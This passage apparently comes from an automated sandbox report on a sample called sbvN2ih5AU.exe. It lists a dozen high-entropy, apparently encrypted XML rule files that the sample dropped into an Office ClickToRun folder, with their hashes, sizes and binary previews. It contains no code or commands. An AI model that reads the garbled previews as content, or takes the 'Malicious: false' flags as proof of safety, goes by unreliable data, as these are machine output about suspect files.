Preview:	.<? ....E.&..!.....i..!..O..../F.;b.2....}\|.$..Rg..7...uF9T..X.Jg..4T.U/).s.....[.............Y.'w.X.`<..{F.......^.~...7.F...>...<..b\|#........YH....`....$.....)....X..4........;..e.`.....b..J.)...,&..&...h..,..$W...Jyg-...&5.^..S...A9E8h{)\.<...Z.,..-..1?1.cT.....M>."...~................r.....>Wi.,..^...._zQ....6.]..Y......{6#..QaM.s_..>xI.D^..:..Y...m..yD......8.N....oE..W..)....!..3..S<#.'.(.txX.t..._+}...'.z.....45.A.zW}..j5..f..r..+.D.G...(.....\|...n..p.e/.\...f.54v%..n....=.b....[...I/$..1..0.,.KH._....&\..).n..........s....\.r.3.H..8...i3.y....#E...<....68x[.X%.zU..4ftT.k...6.:..9f8........z7..m.6=.x...W...W..t.n../,$.@t...U<?....=...............%.GKH..C$.....w.'\.+b..uW.2._.9...#.C.i..........gF2.+...V.CE)..O.@x?....C.o....2.......u.. ..M.E.....o,.o,o.:..{...."4............[y..>...$.Wd..U4..........a.]mJw....j..T....t..>....'ekO...{.Q...x...&.?...t.#Q..B......@...q..1.\.Rh..$.)..].qD{..#. +..S>.j.s.Z..c.0..J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.878221955339695
Encrypted:	false
SSDEEP:	24:px652xi5adQUL7shoYOJdBZvDC6ZcwmTfW/gHVq/vOiD8NJRrS0NqizQnhjA+2bD:UVE7sqrBJDCdrzqvJDMRrSsnzSAD
MD5:	3DA68A45E96372929B84199984E57062
SHA1:	AEA097ED548A6D66EFC08742F5936C7A98880BF1
SHA-256:	4853EACE0AC4276FBA63B39CAD2EA3FD149B7FA109CE8295AE05FFD857C66CDF
SHA-512:	11B7C166E0CC07BB9EEA5DCB73AC84C09EAA562513C92BD5CEF72A9D821FE1AFC743EB149857E43ABE3ED46F60A5BA956FD5DF3C9BB3870E9D9858C2EEBE1DC8
Malicious:	false
Preview:	.<?.P..`..]...K.\|(.9.=dJ?....?.?B...r.x.Z..p7......./+..-......Tp........u~....,...#m.\|<.O...Gb...,Y^...7..7..K\.....Q..k.."q.'......:.`....;..H.b_t......l.V1?....+\..^..Y.dmwd.<6...YP....B....hZn.?...b._P.....o...I......C.T..X(x}..e.&......>].f7..v....d....y....Q-.6~3..\|3....(.....RR..r...W3&.f.C...q-sA._}...T..........Gr3.z.......)5...5p .F/.K..._.(..d.ejaT.T.8#.{A..B<..."..q.$)w.!K..05Q..A<4,...E8e.rm.`.....w.x.....S.N!.....H..{.O.8..<.L....S...T.-...s./'.>.q..5..D..K.P..v)Pa...A0....o..W.J...pBu..3.m..RL...YS.......]\|n..!o....=Q. ....j.....(T....f..<.S[.y...'x....<9Z...<..Km..]v.X...w.2K...G....a./k`...a...jlL..g.fh.6..N...vV.!.x...ca.J...<......&Z....n.....+....]...$..!.?..../'47..$.~.'vxN...oB.F.5....F.5.m.X....n.l.....+...{O/8..-.......?..@J...-[...PqHfwh.l.a..J.Q.W..C4M1b>.@.zyZg..I.,N\.."..........O..8.;FlK........<.g.....n..I...D....j7_.......q>U.Z.U=.R.]c~^n.0....E.A...[...@.x.U~....+.y...1...MO..(.?.0.Iya.I._..Q....(.Bo..X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.888236163800576
Encrypted:	false
SSDEEP:	48:DVfTiNOYrnHJKo1XlB6ErByJl1I9h4fR3iqD:l+XrnHwEXlBTV79ef1d
MD5:	99A8F1C87A19203DE240FD69B5FDA6B3
SHA1:	25C9677B3CEC555162D0AA2F12B5FC767E6D4467
SHA-256:	6AB8693EAAADE650658BF0691E1A84AE28A7BF48113769E131FE38EEE17DED02
SHA-512:	07A13CD2C8BFC1C2E4AF6FECC3F5B650C7C0B47177193C85C2A8259549A54065652A4C467A8DC131BD194FC4D7C13FE51E802736144CC1D1CA808F10D9AA8D6C
Malicious:	false
Preview:	.<?#...A.....r..k.Z.h!U........@..S.A.........~.b.i...n(.O...1.....9..).....(\|.Ui.?.e.v.....{/.....R..c....-...R..J....../r.. ...Y.._,..3.=.M..&?<...4..B$U.o.z[.e...o9......\.".c....s....:Nb...,..i.+...R.I...Q0U.=.....N..!.U..n.d/....OP......}...s....El'w.8]....~..}..mb..\+.8...<&$R...[.....O.\|!Z=.4.....[....b.b[....'.V.Y....+..i. ./.l..Z..o......9I..........H....')....y.HH.+...p/..h.`.(..D..:y...Yp<3.&b....t.g.A..`...A...ZxbN.y....".....V..<..>.>..r...P...b_...].2D;(.. .&.Q..........@0.......l..c...X.p..p=B...E.{l.....X.+.-D.E........O...].R...@r-..]_\|...\..y....M....q.7.+srz&[...>.+..}.W.1.J.@\8P...@p.<tz....u=b...F.."....r.\|tT.iY.d.?.........Q2v*.-.79.\.z0...Tf.2..Q.8..T..}.....#...H.....=...>..c...x2....o....#..Ig.w}>.9v.......]9H...Z..CJ...V.N.q...V..1.Z{..%...K.\.,..cP6W..U_...:.IU...Y........b..1..o8+...n..h..#..b..S.6c......!Mq..,...~K.....S...b.&a..[...`..n+B..PO.VL.c......=W]n.v.v)......$........Y.6..P...-..I........I\|.g_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.903455971548457
Encrypted:	false
SSDEEP:	48:vEcB9ctYjQoQh6pMUoQS5znhpGQ4sptfD:cQAYQoI6WUoQMznhpGhCV
MD5:	8370571A0162AF0BA85D5FC1C3DAD002
SHA1:	D0B45F5B59DBBDEB3EEC0968D9B8084F7675EC97
SHA-256:	14F6009B04405B3857E194FEB5010C1DBB2E7F68E9BDD16FB8A606A2CD7A5C9E
SHA-512:	5712E808805E80DF38B81983A3DB2C0B6681541882D6991B22519F6E819F51A8234A1E96334B3C30C96AECEED832A51FCDC73048AD777316341CD79887A03958
Malicious:	false
Preview:	.<?W..Q.,T.x.-.k.9.hy..c.F..O...C...`.v.e...ir..E.t.x..__..8.v.....e.._FZ......(......}...P>...g..g.u..f0..i^..yZ.C.......K....Z..f;.}1...A).:.n.......c.H../.;.u......,....i.:..-......6....?g...........j."hX@.y[.:..9,f..7:r.Lf.X......Gn../.......C."....;.#..n..eC1...A g......y.. @`.....4W......;.<.u.....Ih..{....t....\|v.y.L.O....V.r..\|l....:.. .2.X.{K..I..6;.z.....;.....\|. .i.AM....z. ....M\/uh.$....I.f..y._.'k.x..8di.E..C....M....,...}.q~+Q.~?.Z.J.\.h..=;B^oA...[..`.I...#.%<q..am....u..:.o)IX.z.........=U..8..B......1.l...-R.....l.7.. ....r...."......D.w.(.KD.b`a#..\D..1.....C....).v..x...T..)U..[.0....29..e.i..YY....H.<]f....4.,.....@P..ZO......Rc-....Z`&?.M.?d....YF........5.^.[.....\|.O...U.../....uS...:........o!.A...x.6XJ.....^.4......O,s...h.&l..{...+.?q... .b.Go.x9.z...,k..L...(^..e....7..xC.c&...#7..3..]../$....W..0..a..:..N@.&...)1\dt.s.J....e......5...$....e..F....\|O.%..*.x.7.9.^.4.]....(.n~R....-.!.......u.X......C;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.877671265110244
Encrypted:	false
SSDEEP:	48:7QEmyUnMjStIIqkxksBHTEKFqqt750R/JeD:7qyUnMjIqEkseKFqqtN0Rhm
MD5:	879C02509371D1E1A44BB847408279F9
SHA1:	AC1CA0E21C67F1813F2ABA9465937B5D24993131
SHA-256:	5B94C6F2BD818691C6559C2BB36B4FEE64553E7CD8A293B5731136A159836128
SHA-512:	A120392625A371805EDA1613A6ADEA3193A8A410CBA33C753A2B5DE4800C50EAB35DC1752A4C322D5DA3C1E072CFAC036A62859E141C3AC785A2D505659F388E
Malicious:	false
Preview:	.<?..e@.#.....U...El}\|.z.R......U.........O....J.A.=.j.,..\|..S..+.....i.].y.........+..y....T.....C./...-..#...~oKA/.....7...&.&3...Q~#..o...Z..N..&.r...RH].....^.I....x.....f...n.....{.o.)....X..@x.%B.........1x...l.l...Ou.rAK.gUE..J.......i..?..V..\.... .M..0..N......;.a#....}Vu.B.u..#5..M.a.u,[.YX..oD..8..W.\|.#.......vH8.p.U`.^...[.....K'.........:Lv...q..e.1...`.....M_._8E...h.....\|%...k...6..1..S@l.H..B..VB=....O.F{+X..L...O.~:.....F.6T2:.....q..~.S..^.."bC....1+I.$.F.r..\....J.gb..Cu...\...^.vqS. ...8z.;..R.&...C.}:.....A!..;.a.\|+.A.N'...3ae......ph..E.E....M...f`.8.%.....OcW.<..3..z.2..+....)\B..w$p...?"I.;.B"bE.............1M.r...<M&...J.]ZG`...n.'.-;.f.3.aeep.U@..v`..(.w.z..yo.......U..j.55K8..;....jk4....f..f.s.<L6.L..6'y&..........Ar~.&..p...6S.b.....e......-.N=...S&}bj.<.v.5.GLv+.M....}..;........2.: ..:3...6(..1/H....{.O.k...t..f...j..jEl..\|.......t...^[.Qo-qU...Y.C.N..8._^~Z.)d.._.....Y.j.R..............".....>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.864082029009171
Encrypted:	false
SSDEEP:	48:Mtwizr02oJh/O9YuDDrzDZmCp/uaUiytpD:Mtwi/h849Yu/XD4Cp2tB
MD5:	F0139FF720C11FA93119D22E5C65F6BA
SHA1:	69B0111AD880F3D6CF3A837D096A8024552EDB2E
SHA-256:	BE7F36DFCDED8C11F329C63F6B779AE512E13C6EBE308F3BD7902F7917A9EF9E
SHA-512:	BFDF90041C0A83D50B9B62BF9CB1F4CAF5B43DCC7AEEFFEA9E6B703A5033DB8A732D13EF1A90CF30432B8AA5375B4129CA00FE83CCF243ECE20016DB359F627E
Malicious:	false
Preview:	.<?.DGv......z3~..5:.....VD_.HM. ..w.$.zH....C,s...p..Y..P..h...9...7.+.!#..527[m.Dmq.z......`.._sA.x'.i.s.\.o.n!Yz.......E=.^.D.:..T...:%.1)4.NT..Y..XzC..0....F..8..>S.5L..%.d.X...~....!..1.....p4...P .....a...P..S.....2....rW.F..P..=;.R.~?...0......;.I.w.g.3.a.L,..8Gm^g.Df1.",..H.f.!...m...I.j...P...-..c......p...+P.u......Xv.......B..9!....i..s.mln.....5...+\.E...2. =...S....y.m.._i...`t.T.,hjA.%z.....#k..kF.....I..AC..._......(.$....s@..g{.Y...jK..U..KI>.Y.............~b0.^\MM......^...3.2.Tt-.3-...?.;.Q..gJ.d.i.-,^86M.....J....O..T.. .K....j...Gf`....<..W.JD.6..:..;?3.{5..~..B.D...9..R...~...{...'x.. ".>C...DY/....o...wp....Ww.!9..p........C.P.%-.....D#.y..........9...d...J...B..6l9JiAo.5.........!...N..Op..k...S.".....t.0....(..v.V.....64oG......qa..h..Q...2...L#.V.?..3...a.......*q~..m..A..a......l,.&6..B...R....h......}.=.pG...Y...\...~D...."..$... .......'#....k...8.F-.-.Q..)5..j...=...aBi0q#Qq....d.......T....&0....3G.}M,.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.895425825638874
Encrypted:	false
SSDEEP:	48:d5OgZDl6gtgwByFwXOur7FA5wlwKrNj+El34fBuD:+gZpFgiyCrqwOC1Ll3OBW
MD5:	6E7C790C7AE7005C28D43B6CC074D2F8
SHA1:	AF985AA506B18257853CB036EFF7AA888750C38F
SHA-256:	4CCC1CD658D105A81DE6951F37BBC62258F866812FCBDC69B0D2EA9681B47E27
SHA-512:	DBAFD97ED778395D1B1043754D96765F75DEB6293C652DD2839C3A4A9E2C820BF3B1AC42B9762EFA43053964DED373B673386F54A837BD14AB4FC84E7A1292CC
Malicious:	false
Preview:	.<?........G.C..!.=.r8...&...md....Z.7d.1N../.h...W../....V?..'../.-.Z.S1...P...[.,...\|..t...+oX..v...#.?G.].W.D.e..X......}...0.......eG.R....7.yb....:.....Zm......b....1d.....t......cY.e0..l.<R=..l....+.6F$......i..KO.l...3..B.,.9.]a.xmF....U. ..D....."....)/.....-..B...K.8n.Q!.I.6......{N.........N!Q.vn...?C.v.........>.FfM..Ec4ez.R....8qk.qB&..f......$...9....{P...B%...Y..S....<T"z....D..(..i...i...{.uX..EN...1..;.n9S=.4.-.o....3m.W..rG..c.i..g..}.v1.....\|*.X..5...Z.b..2.=].+.)^.U. !.C<.!GFd J.x.F..V....F........7@z....U...v...2al_._....T.J....9a....R...].....'.n....6E........z....o.%..M.pH..a.....K.......j..u..u..qn.y.3...QO"f.........6..18..............e.9......0.L.F..s.a.....[F.ho<.-.c&'^&.[;$.&f;...C...YK....<....,:..d...]....A.,.....8.7t..o.,..Gz.....?.-...r.j#:..XS.....h..=......w.8.......].... ._\|(.w......".4..O...n..:....4....Q...zPp.....r.8B..P.d...!...f.($Z..o......ZRc..c..O&.v.......AxI.I.\|.j..jd. .f..<x.B.........Z.t...'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.888215962236872
Encrypted:	false
SSDEEP:	48:DRsLGcCwDsndwxfc04JT5KEEyokXyiOU+nD:DRqFD0q54JT5HLo0yi1+D
MD5:	B2F5CF034080C57F392366364803CE5F
SHA1:	0FD082B5B242E4CFD83B4984BCD7CE2BBC750283
SHA-256:	2C4DCBF88CE75BA5C5B9B062E8239A0918D969F219D0155F0B97F99EB80DFD86
SHA-512:	D329923CB989A030D94CC8813F6120511965BF30165494866A030BC757915DE1A266F8015DC9D18FF9BE54A77B4F610B481DFE4FB91AD56FA4454A71F1DE30BD
Malicious:	false
Preview:	.<?......,.C.;..F..!.yL.3.UA....v..#.3.o_-.T...q.].Q.h"T...3G..B6...L......=...^.9...r...<e....g..[..LT..1Pq.6...l.6..kZ.#....\..,*..p..._l...".T3.M..v....\Ur..z.).j.~.0.t7.....A.W.....1..g.?X.{.i..Q(..M;2/.,5.n.-.B._SS...Qk....i!...-.DW_.....u........,.h.....Z.Hbr..=....Lx=1].[.....}.Y.&`....J..s.E.,..q.e2.C1S[..6..8...8...U8.y.. o.e.5e..TB...juS.FZ..,7...x..zV}....D.....OL.=W`..&.u.8....4..h.. .G...e.f...Q...s...-.....?......x.l......\|..1..\..zk..Q.n..x9.YQ...z....b.....Y...R...E.9:..f..Q..y.+..;.X.,......$AQ...D.c........t~T.E%..&.....BE.f.?.............+D.k!..d...Lx.P.Z..(,yO.`.....u..C?..._d.Z.P)r..h.n....O.k.P..}).....`D.@S.....nb.?.@....j...1n.M...;.-..Bz.H).....d....m..+.NZ.V.....f.......q..0Hk.z.DY..c.J..H....G.qQ....~..p.%.H...Z....n.........b....Du..+U$L......k.k....y./.....B...M%).........G\R}&....p.@.`..].E...>/..g.-..A.o..g.>..$?.m.o)..4q%'.2-..b.......yT.a..K..`N.k......1xWR...t...$..UN....G.....k.54......Zk...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.882460209492341
Encrypted:	false
SSDEEP:	48:lo8OUCh8y33D0qOsFgokBI/JDiDyoLfcR2rD:PCyy33DVgTIaf5
MD5:	2CB8553FA3B765FACCFB2BA5E15DEDB2
SHA1:	45ADBD679E4CAFFDF0E6F74ECF5FAD63C10F4BEA
SHA-256:	87E096F291217DA5E66D998634EAB00482848919BAEC155072996AD6E2B6A1EF
SHA-512:	7C611D66D26F55E93232EBCC8D3738CBE06D613A79ACD85DEA61B0B6AC6B56083F9F2166DF5982A8F3B817DFEE84D6DAAC0668569E5F8ACCBDCF61B2454E4621
Malicious:	false
Preview:	.<?\.Z...irm.....-...0.\G..{.hx.7.$u.3O...5..5e.J.Nl2.h....d)Z4]A....%....e...8.\|....-.s..~..T..g.....(..y.Y.x.g.&.y.;.J.66.3.AQN........vM....2F...k./...!CR...yBD%..73....{L.vh1.d2...s..y".\e.b.Vv_._.Z+(...V...\...R.{.....A"........6.f...SC...5.......6...b/Q.y...1....fY.o.6x.5.....M.H......-.]..A.q............)W]!p.g..\|.....9..d...\|.-B..X\^.e.l.D.A.O..~....<.....y..s.c..J...^.w%..;..;e..xB.se.....6......'.........+F-.&..5....'0...7PwU".XG..].........j..!xI.n.~T..y...i@..jt5.F..@@.:....T..I..6..........Z..q....HO...........)`.kr.;......c.<fI.o`I.w...-}...#.l .re..a.f../......'..{....8.i..1C..8P58 u....e=t..,....ul..C..x.;...!.x....6...i@.=....k.l.P.._.i..,vT....E j..h..d...~C.....W.q....g..y~....4N....9.....u...p.w.a.J..J.{..4......j....\...;I....d3.G..o-...."!..........d..S._v.......=.Y..S..).I..Ze.."..2.....ul.TT...0~d.{T..O.}....~.oLv:.G.Fh..%....p... aN..Q\.L9D.....R..eP...v.[..h......S.D&.Y.#.....#.{\|2...i....D...v..(k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.90075440917243
Encrypted:	false
SSDEEP:	48:j3pEgN5nSDlJwFdDiaRfIxv6efkgT1NTuye+1Y8nwxclAX/FD:lxyl2T+xSePHTCcnwClAX/9
MD5:	10A8650B31F68A7E05960D219AE44CE5
SHA1:	EFC9DF5EDC70C511E639779001F544DB5621587B
SHA-256:	EBDCDE2588480F7AD45744613D8181F1ED3C4BDAB577AFF416CC8D1CB040D0D4
SHA-512:	91F38B25FB9A40A98A6065C87E7A5300B7CB5F2B058079E03F0053BBA5653B5FA0BCC20DACF37283374C6E04A9B608B67C86FBCF8B4618D27C26590BF7AB5165
Malicious:	false
Preview:	.<?9...)..K...u.3.xm..=b.j....7..V{.....\|.....FO0v;Xl......O.....(..]..8.FV..E..f.qQnU...T....;..^._.I.+.ZX..N...V.....,9../..R..E...O..t[.C....5..V'..0.BF.#.....z_?....E...AX.5..u..".\|.........!.._..@^...%+7.6<...?.i...Tf.'...2.G.`k..@_..0..._...,...q*.#.5.t.Aw0.d..;..g.k+.....I..5..Y....Y...DL...U..~.!.Q!.xx.Qz^.....f..$.]...1...E3......r.$.t.)....oue.............@d....z.H....=.$T. ..5..6.uEz.'..Az..f.L..-.fH.3E.\..........]..c\|.5.....3..9@.......{...C....O.={.j.:.(.....=....:w/a..Q..1;....$^m+n[...Me6...z.MZ......9p.p....3#.0Q.2.)(..w.:...Q.iu=..;~.e.....>..."..'.Gm.pC6......../2a...=.^Q^.....E..V..w.{....-.....Y..7W...7......k6Y..S....P...18LD.(.Y.....j....f_.$.~.h..(w.>UY.@m..7.2.Uv`.T....H...3..1D..D.....d....J...:..HB...ndP2....Q.........9Fo.u..G...i.e..Y.......`.s......[..}.Kg.Q.k..\.D^hv.F.j..[...>.....7~.Y.....t...M..o&SEM.7....4SW.../Yo[&..@.W.G.X:....l\.>Ku.\|..k....B"2k..-.........A..7..V.{...0r..\|.I..t.....e....R.n".'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.893754789255318
Encrypted:	false
SSDEEP:	24:1tPCR2D4TsBSYQ1rTFBf2vQeCQs620GjqyMjViHQMGNOyIleIVkV8epnDtZm8POw:1BeN9TvwQ0XGWyMJiwMGRmkt88PBVD
MD5:	E52E7335C8A91AA2E0221E45745C6FB3
SHA1:	50A8F8F1B61A49C3BC4F9661AB52EEB0680A51DC
SHA-256:	82833F800210CB4CCD77358E1A0C30EB96EB3E9EAA18831F615740870F289E70
SHA-512:	20A3EAF17498F54E8B4F353E1AA7B755E79C223E0E80E37B0AABFD2ABB4A4855ADBDB20039C6DD1C923A8327D733193CCB27E84AC7ACAEC8B252D609BF2D3DA8
Malicious:	false
Preview:	.<?.lz.9.n.F0.D..Dl............1..-.S..o......h8.&....s..\|..Rn.Y...d...q.p.....e...I4./..H.7.0D.....H..PD...9..}..g.I..ke...P(..F...n...."'...d.D."...[l.c...)....d...f.x....B.<.5.......JXh..t..VS.b<.Q..nsr.r..2......=H.4..s.@oX.b%J....<o}.O..qb....^B..9.y..W1[.{."...C..+..0.@.J....d7I....?.x...%K.......4.A0X")9v.......z>P...c.~..!yZu...c..W.....[...j.!oCI0.xy$...g..sA.K.2............B.,.3]3...1.....)J=.K..1.......7....!..........^.....T...L.5...Bw.};...3r...zIG...hL\S...l..`.C.G.0.b...\......`3.o...e9:....J.x...4".+........y..3.p....)k`.U..$....g........j.a..{..!K...0.S...,.6........u..... ....].....>...5E...3...zg....[iE.....w..W. ....'.LzI......2..4..%,.A.h.].Z&...}....<%..1.....].vN.....t.....U;.q...Kb.n..[...U.L...0.>. U..Zq..... #.H...>.II..s.._{..Y.Y.\S...,VY..h..K.j....%E.K......1^.S.B#.......{..%..#...A..8..o...h#........\|N.4kL..Q..s.;.M#...q......iI..#.).1).............s3]J2Q ...1g.....p...j......5.e...O.ZJ.{...b[..;...W....D..i..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.884321596746697
Encrypted:	false
SSDEEP:	48:C7sQe5lGl0cYT69G6EbnuaGzAAQZq57bEr2xD:0BRl0e0AQZU7bEr25
MD5:	9FF831A350E2AD5B36B27CECE1A16DE7
SHA1:	C1D89F994178C443838F4215F27FD3B3A9B47C03
SHA-256:	4CCFA9562E99741F36A707E099CF663B7446797EF2FD7E93D90E992416BD95D4
SHA-512:	A5B8A3FEC9ABBCE9A567FCD2C1271E93EB5222DD3D35A3C1A4333E54EC4B4A376BC6F2A660B29BDF445F7FAB590CBC8504257E9F91C9E31CD0CDD624AA35DBDD
Malicious:	false
Preview:	.<?.c........KBhTa......Q_W....h.?d~Gv_.3..&...Y..V.Jf.5.........<.R}c.;.I.7..Y.mr...J.....{.{..B..`l?p..{:.y..lHty.l..\...4.T9fE..pu.,.$.\.O...u.u..-....Q.Z..5......}.../.t1gc>..G..}..&Dl..<.)!.^8x....X.K.\|.=q.BT)/.......W#^?.....Xp..%v........d..g.}Mt<...`.5..6f..w.h.E.<V...n..\.... .cB..%...z..<6......F.K.C8{Z$..+y.`x.tl.}.X7.z3.......3.....6.&.5.. 8.ILs+..^E.1.:.)1..=..o....RX6T.N\|...1;.....T.8!..OT5....6.q.=.Z.U.E...P..4.[...:.....K~.......e..._F..t..fP...1.8(..O-..X.w..t.So...6e.+.@.DM.P..m..c..zq...O...(x..iB.....g...9<A.)....:fzt./.Vn........]..\....l.............C...K..l.X.."d......}...R........a.......?.m..\...3.^X.:...]..u.JDVZ=,.ko.....s...R.}b..\..+.....<..%z....M./..L...~.....G.I)......q..e0..&..).t>....*.iC.I.D....p..X...%m\|....a.f.a..zCg.v-..=.bG.:..^u)!..=2.P(.....7t.C..F....#.-....4...`..>i.ii.....&...F~,...<....O.s~....h.:^..I3..5....b..5XnH'\|7NR..^.oY.O<...na..+!.....c.l.W..%.Qx.m.PL.a..\.#VQX.............;v3Z.)G..;.1"u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.879590859210479
Encrypted:	false
SSDEEP:	24:Mtc1d/KkxOMlTKODiW95tN2Ueon4QH1PALsxWS+hmsSae/x/Lb/3PdUwUtJb2AsC:MQKeheODigAUeoV14LYWrFEbfP+DfsKD
MD5:	6D3D8F10EFF35A7EBEB35A29F77252E4
SHA1:	245E831230CAE06980DA25B745D3B2E4B291B860
SHA-256:	F2A7A232B70863C01A8C2E56DC9644D8CA478BF6054F3B643FEE0771BF7CD552
SHA-512:	84CBB75FFA6D7810E142147FC64FE11F4E52B76AA0F8E81DAA8CF08249A51C9904AA0382C84D072C9EDD6BC19568F840A50C275580EECF712F07174D3A7DD6CD
Malicious:	false
Preview:	.<?C...6.sW.K.Kg.<....U..@.5."X.D.VU+....._.\|vp..-.,......1z.P.....Z.E?.oX.t".q...../u.V.......X.U.d.g.i.Z..t.C.,.+_C..........Gc.B.p. 2..q....W..&.P.f.9.8.)o.Cq.8..y....:S.Ud>4... ..V40..Su..../aPg=n.i.Gu........;.3".%...Ma+....j.r.....e...W.>&.K~jyO.M%v.0....V..Vw.0o...o6..Q..ug'.z....A.g.... (..f..P.Qo.}A....a.!...w9.LE.!.1.-.....'..rT...(........"G+.47..}.\"".6.z&6.L..J.......I.WG...Diw....;H.....=.R..8..a.bP"..*?.\|..ow...uz....{.-.....j...3.U..96....1s~L2....J0.......8h`:z.....]...k.h.....=c.v...v.B.5......G....P...J......%.k...6>L<8.E^.N._.Y..#%t...y.H..\|....yN....6J..:.)..+....M..Y.;..`..3.NqH.Q.:..60....M..q~..S....:X{...e;.Q.H.X...0\|......O.$U..6...>.Z.,f[...X?.K.k..F.Z........:.Lz.YR...7 .......m?T}.,..O..\|a...:..$.....K.o..g.....m..Q.0>.wy..s..=...0..gN....u.X2.3>..K.k.Tq..s....0OP.F../4.3n...P[.`c...HlS...}P.n'.Lk...!.=.Y=.]9..........p0....j.9......u(.......qL.R........r......[:jm...w81m.L+.Y0E...3#O,]!.......Ac../..r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.897683769897805
Encrypted:	false
SSDEEP:	48:dZhziom/g83WxWGf9KtecRCCCjJSyN5+g9D:dZhOhgUWEBWXjJSyfbF
MD5:	283119A70AB0A136EF61B9993E77B18C
SHA1:	1EC6D0EC0825768E6450E6D25B86719B5B7F1F21
SHA-256:	97748D67B989969370DC486818E2819E99767873458068FE6887FB49E06BACB7
SHA-512:	C7620366736E54C79B2437639B28203BE96F0FC38B3CFA1BBC98C4E057164280092AF668EA36971DEE368E7351756CAD44A3E5BF515A1B855F72F3DF4FA2465B
Malicious:	false
Preview:	.<?m.).g.ZP...jX......c<\8..u..f.r..........H[......]...0T}T...8.D.,Uu.5......).9f...R83...;......{$[F.:......n..)h....p....h..'......H.9...B..!B.g._.!..\.QJ....o.s.?K....S..C..\|Di...-da......^Y{^i..A.?.Y.d........=....W..A..H..B.t<.\g.uOy.-@.......y.?,b_...C....5.V...E...{.f.0.Of....w...W.....u.s...-@.o.J.....p....-}.JZ..._my.&%BD(dd..........s.=.mw.d..J....\3....7\...rNr.............u._N.r........>.5,.>...-..?...s.).V.{. %IP,6.R..^.?.O.zzya........c..pmO...0Z.NjO...H`"...y.M/...~..&..N..z~.t...$.Q../.l=....j.....<...&...........\|8]...'...N}dJ.t.....?.-.qK.z..o.##.9..d..F.O..:5..J.3`&G@..^...E+s.1.a.X#.9.......Kb.\|....B<..p;^.tw.}V......1.5.V..U..B...r.E.....i..-D^!.z3..3.r..jX.=Z.yb..-=.y......R.\|.f..:{...MhUo..e.X...i.....b......k..........uQwE.+....l..Qv.#..J..x.?.0..o8......d.u.$..61.xm.e..W.(.(aq.....7.a.wL8H.......C....%o.Q.8......].lV..Vzvo_S.eiG.k..\|....F.g...X......["......T.........H........=.D+..:.(.......}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.898364119747903
Encrypted:	false
SSDEEP:	48:LODE6+fYEphETynlHK/Asy2gY5lGukdHCC7BcOBFD:gszXnhUAQP5lGVVh9
MD5:	74B013CB70B6FDA28D66D8BB5CA84F88
SHA1:	50B30DC5C567C76C10CAB366436C176E65E0D3B1
SHA-256:	C52042E952768B1B9EE3A4A01F9E3DBC62A8E314D368BBFF58CF443DCB200B0F
SHA-512:	C995EC811C35B2B5416591234A8301FA88F4326E3C1EDA5229A79CA809DDAD64ADA2AA30002C285E6556D05C5E0FD1B44B9BE680B8C81147121152D7F4194D27
Malicious:	false
